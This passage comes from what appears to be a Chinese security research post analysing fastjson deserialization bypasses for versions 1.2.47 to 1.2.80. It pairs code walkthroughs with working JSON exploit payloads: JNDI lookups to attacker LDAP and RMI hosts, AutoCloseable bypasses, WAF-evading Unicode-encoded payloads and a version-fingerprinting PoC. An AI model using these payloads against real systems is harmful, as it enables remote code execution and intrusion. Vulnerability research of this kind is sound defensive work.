return clazz;
} catch(Throwable e){
// skip
}
return clazz;
}

由以上代码可知,只要我们能够控制这个方法的参数,就可以往 mappings 中写入任意类名。
loadClass 一共有三个重载方法,如下图:
46_1

我们需要找到调用这些方法的类,并看是否能够为我们控制:

  • Class<?> loadClass(String className, ClassLoader classLoader, boolean cache):调用链均在 checkAutoType()TypeUtils 里自调用,略过。
  • Class<?> loadClass(String className):除了自调用,有一个 castToJavaBean() 方法,暂未研究。
  • Class<?> loadClass(String className, ClassLoader classLoader):方法调用三个参数的重载方法,并添加参数 true ,也就是会加入参数缓存中。

重点看一下两个参数的 loadClass 方法在哪调用:
46_2

在这里我们关注 com.alibaba.fastjson.serializer.MiscCodec#deserialze 方法,这个类是用来处理一些乱七八糟类的反序列化类,其中就包括 Class.class 类,成为了我们的入口。
46_3

如果 parser.resolveStatusTypeNameRedirect(值为2) 时,进入 if 语句,会解析 val 中的内容并放入 objVal 中,然后传入 strVal 中。
46_4
46_6

后面的逻辑如果 classClass.class 时,将会调用 loadClass 方法,将 strVal 进行类加载并缓存:
46_5

小结

首先要避开checkAutoType()autoTypeSupport 默认为 false 时的检查,从两个if判断语句入手
发现只有TypeUtils.getClassFromMapping(typeName)可能对clazz赋值
使用两个参数的loadclassmapping中赋值
MiscCodec#deserialze 方法调用了两个参数的loadclass
调用之前需要满足parser.resolveStatusTypeNameRedirect(值为2) 时,其中一个keyval ,此时会将val的内容放入 objVal 中,然后传入 strVal 中。
接着如果 classClass.class 时,将会调用 loadClass 方法,将 strVal 进行类加载并缓存

所以可以将恶意类名存到val中,这就完成了恶意类的加载,可以避开异常的抛出。
如何满足parser.resolveStatusTypeNameRedirect(值为2),在后面调试中会讲到

调试

构造一个 json{"@type":"java.lang.Class","val":"aaaaa"} ,调试一下:
JSON.parseObject()经过如下调用栈,来到parse(String text, ParserConfig config, int features)
46_7
parse调用 DefaultJSONParserJSON 进行解析。
46_8
DefaultJSONParser.parseObject() 调用 checkAutoType() 检查待加载类的合法性。
46_9
由于 deserializers 在初始化时将 Class.class 进行了加载,因此使用 findClass 可以找到,越过了后面 AutoTypeSupport 的检查。
46_10
46_11
checkAutoType()提前return后,回到DefaultJSONParser.parseObject(),在后面将resolveStatus 设置为 为TypeNameRedirect(值为2)
46_12
DefaultJSONParser.parseObject() 根据不同的 class 类型分配 deserialzerClass 类型由 MiscCodec.deserialze() 处理。
46_13
解析 jsonval 中的内容,并放入 objVal 中,如果不是 val 将会报错。
46_14
传递至 strVal 并使用 loadClass 加载并缓存。
46_15
此时恶意的 val 成功被我们加载到 mappings 中,再次以恶意类进行 @type 请求时即可绕过黑名单进行的阻拦
因此最终 payload 为:

1
2
3
4
5
6
7
8
9
10
11
{
"alter1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"alter2": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:1389/EvilClass",
"autoCommit": true
}
}

可以看到,对alter2进行检查时TypeUtils.getClassFromMapping(typeName);找到了typeName(com.sun.rowset.JdbcRowSetImpl),提前reutrn
46_16
1.2.47 版本漏洞爆发之后,官方在 1.2.48 对漏洞进行了修复,在 MiscCodec 处理 Class 类的地方,设置了cachefalse ,并且 loadClass 重载方法的默认的调用改为不缓存,这就避免了使用了 Class 提前将恶意类名缓存进去。
这个安全修复为 fastjson 带来了一定时间的平静,直到 1.2.68 版本出现了新的漏洞利用方式。

8. fastjson-1.2.62

黑名单绕过

1
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";

9. fastjson-1.2.66

黑名单绕过

1
2
3
4
5
// 需要autotype true
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}

10. fastjson-1.2.67

范围:fastjson<=1.2.67
前提条件:

  • 开启AutoType
  • Fastjson <= 1.2.67
  • JNDI注入利用所受的JDK版本限制;
  • org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-coreignite-jtajta依赖;
  • org.apache.shiro.jndi.JndiObjectFactory类需要shiro-coreslf4j-api依赖;
1
2
3
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}}

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}}

11. fastjson-1.2.68

1.2.47 版本漏洞爆发之后,官方在 1.2.48 对漏洞进行了修复,在 MiscCodec 处理 Class 类的地方,设置了cachefalse ,并且 loadClass 重载方法的默认的调用改为不缓存,这就避免了使用了 Class 提前将恶意类名缓存进去。
这个安全修复为 fastjson 带来了一定时间的平静,直到 1.2.68 版本出现了新的漏洞利用方式。

影响版本:fastjson <= 1.2.68
描述:利用 expectClass 绕过 checkAutoType() ,实际上也是为了绕过安全检查的思路的延伸。主要使用 Throwable 和 AutoCloseable 进行绕过。

版本 1.2.68 本身更新了一个新的安全控制点 safeMode,如果应用程序开启了 safeMode,将在 checkAutoType() 中直接抛出异常,也就是完全禁止 autoType,不得不说,这是一个一劳永逸的修复方式。
68_1

但与此同时,这个版本报出了一个新的 autoType 开关绕过方式:利用 expectClass 绕过 checkAutoType()

checkAutoType() 函数中有这样的逻辑:如果函数有 expectClass 入参,且我们传入的类名是 expectClass 的子类或实现,并且不在黑名单中,就可以通过 checkAutoType() 的安全检测。(isAssignableFrom(clazz) 判定此 Class 对象所表示的类或接口与指定的 Class 参数所表示的类或接口是否相同,或是否是其超类或超接口)
68_2

接下来我们找一下 checkAutoType() 几个重载方法是否有可控的 expectClass 的入参方式,最终找到了以下几个类:

  • ThrowableDeserializer#deserialze()
  • JavaBeanDeserializer#deserialze()

ThrowableDeserializer#deserialze() 方法直接将 @type 后的类传入 checkAutoType() ,并且 expectClassThrowable.class
68_3
通过 checkAutoType() 之后,将使用 createException 来创建异常类的实例。
68_4

这就形成了 Throwable 子类绕过 checkAutoType() 的方式。我们需要找到 Throwable 的子类,这个类的 getter/setter/static block/constructor 中含有具有威胁的代码逻辑。

Throwable 类似地,还有 AutoCloseable ,之所以使用 AutoCloseable 以及其子类可以绕过 checkAutoType() ,是因为 AutoCloseable 是属于 fastjson 内置的期望类中,其余的调用链一致,流程不再赘述

payload:

1
2
3
4
{"@type":"java.lang.AutoCloseable","@type":"vul.VulAutoCloseable","cmd":"calc"}
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/EvilClass"}
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/EvilClass"}
...

pom依赖如下:

1
2
3
4
5
<dependency>
<groupId>org.apache.hadoop</groupId>
<artifactId>hadoop-client-minicluster</artifactId>
<version>3.2.1</version>
</dependency>

修复方式简单粗暴,将java.lang.Runnablejava.lang.Readablejava.lang.AutoCloseable加入了黑名单
并且从这个版本(1.2.68)开始,Fastjson 引入了safeMode功能,safeMode可以用来控制关闭反序列化功能,开启后禁止反序列化,并且会直接抛出异常,彻底解决了反序列化造成的问题。

这里补充一下2021BlackHat上的议题《How i use json deserialization》

BlackHat 2021 议题 :
链接:https://www.blackhat.com/us-21/briefings/schedule/#how-i-used-a-json-deserialization-day-to-steal-your-money-on-the-blockchain-22815
PPT链接:http://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Xing-How-I-Use-A-JSON-Deserialization.pdf

blackhat2021

对比1.2.68中的期望类(TypeUtils.java)和黑名单,发现少了 java.lang.AutoCloseabl和java.util.BitSet,所以有以下流程

blackhat2021_2

所以实际上找到一个typeName满足以下条件就可以绕过checkAutoType的检测:

  • 继承于java.lang.AutoCloseabl或java.util.BitSet
  • 不在fastjson的黑名单类中
  • 其父类和父类接口不在黑名单中

《How i use json deserialization》议题中给出了一些方向: 继承于 java.lang.AutoCloseable 的类能够导致的漏洞:

  • Mysql RCE
  • Apache commons io read and write files
  • Jetty SSRF
  • Apachexbean-reflectRCE
  • …….

12. fastjson-1.2.80

https://alter1125.github.io/2022/07/29/CVE-2022-25845%20FastJson%20%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90

bypasswaf

本地测试时注意jdk版本、依赖、依赖版本等

https://www.sec-in.com/article/950
Fastjson默认会去除键、值外的空格、\b\n\r\f等,同时还会自动将键与值进行unicode与十六进制解码。
这样就可以在payload里面添加除键、值外的空格、\b\n\r\f,也可以对payload进行unicode和十六进制编码
如:

1
\u0040\u0074\u0079\u0070\u0065":"\u006f\u0072\u0067\u002e\u0061\u0070\u0061\u0063\u0068\u0065\u002e\u0078\u0062\u0065\u0061\u006e\u002e\u0070\u0072\u006f\u0070\u0065\u0072\u0074\u0079\u0065\u0064\u0069\u0074\u006f\u0072\u002e\u004a\u006e\u0064\u0069\u0043\u006f\u006e\u0076\u0065\u0072\u0074\u0065\u0072","asText":"\u006c\u0064\u0061\u0070\u003a\u002f\u002f\u0031\u0035\u0039\u002e\u0031\u0033\u0038\u002e\u0031\u0033\u0030\u002e\u0032\u0030\u0031\u003a\u0031\u0033\u0038\u0039\u002f\u0054\u006f\u006d\u0063\u0061\u0074\u0042\u0079\u0070\u0061\u0073\u0073\u002f\u0043\u006f\u006d\u006d\u0061\u006e\u0064\u002f\u0062\u0061\u0073\u0065\u0036\u0034\u002f\u0059\u0033\u0056\u0079\u0062\u0043\u0041\u0078\u004e\u0054\u006b\u0075\u004d\u0054\u004d\u0034\u004c\u006a\u0045\u007a\u004d\u0043\u0034\u0079\u004d\u0044\u0045\u0036\u004f\u0044\u0067\u0076\u004d\u0058\u0078\u0069\u0059\u0058\u004e\u006f

第二种方法:

WAFbypass

第三种方法是使用大量脏数据绕WAF

获取版本号

目前最新版本1.2.83可以获取
原理是在JavaBeanDeserializer类中能够抛出异常,异常包含版本信息。

1
2
3
4
5
6
7
if (token != 12 && token != 16)
...
else
if (token == 14 && lexer.getCurrent() == ']')
...
else
buf.append(", fastjson-version ").append("1.2.73");

com.alibaba.fastjson.parser#JSONToken中给出了token的定义

1
2
3
public static final int LBRACE = 12;// ("{")
public static final int LBRACKET = 14;// ("["),
public static final int COMMA = 16;// (","),

绕过第一个条件,payload不能使{闭合并且不能有

1
2
String payload ="{\"@type\":\"java.lang.AutoCloseable\"}";//token=12
String payload ="{\"@type\":\"java.lang.AutoCloseable\",";//token=16

绕过第二个条件,不涉及[]就行。
下面是poc

//    方法一
//    String payload ="{\"@type\":\"java.lang.AutoCloseable\"";
//    Object t2 = JSON.parseObject(payload);
//    方法二
    String payload = "a";
    Object t = JSON.parseObject(payload,getVersion.class);

总结

  1. fastjson <= 1.2.24

JDK7u21 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
JNDI com.sun.rowset.JdbcRowSetImpl

  1. 1.2.25 <= fastjson <= 1.2.41
    1.2.25引入了 checkAutoType安全机制
    L ;绕过
    [ [ 绕过

  2. 1.2.25 <= fastjson <= 1.2.42
    双写L ;绕过
    [ [ 绕过

  3. 1.2.25 <= fastjson <= 1.2.43
    [ [ 绕过

  4. 1.2.25 <= fastjson <= 1.2.44
    使用后面的的payload进行byPass

  5. 1.2.25 <= fastjson <= 1.2.45
    根据jackson的黑名单的到如JndiDataSourceFactory

  6. 1.2.25 <= fastjson <= 1.2.32 没有开启 AutoTypeSupport 以及 1.2.33 <= fastjson <= 1.2.47不论是否开启AutoTypeSupport
    通杀payload

  7. fastjson-1.2.62
    范围没测
    黑名单绕过

  8. fastjson-1.2.66
    范围没测
    黑名单绕过

  9. fastjson<=1.2.67

  10. fastjson <= 1.2.68
    版本 1.2.68 本身更新了一个新的安全控制点 safeMode,如果应用程序开启了 safeMode,将在 checkAutoType() 中直接抛出异常,也就是完全禁止 autoType
    expectClass绕过

更多绕过参考https://github.com/safe6Sec/Fastjson
通过hash碰撞得到黑名单,https://github.com/LeadroyaL/fastjson-blacklist
fastjson流程分析可以看panda师傅的[文章](https://www.cnpanda.net/sec/1183.html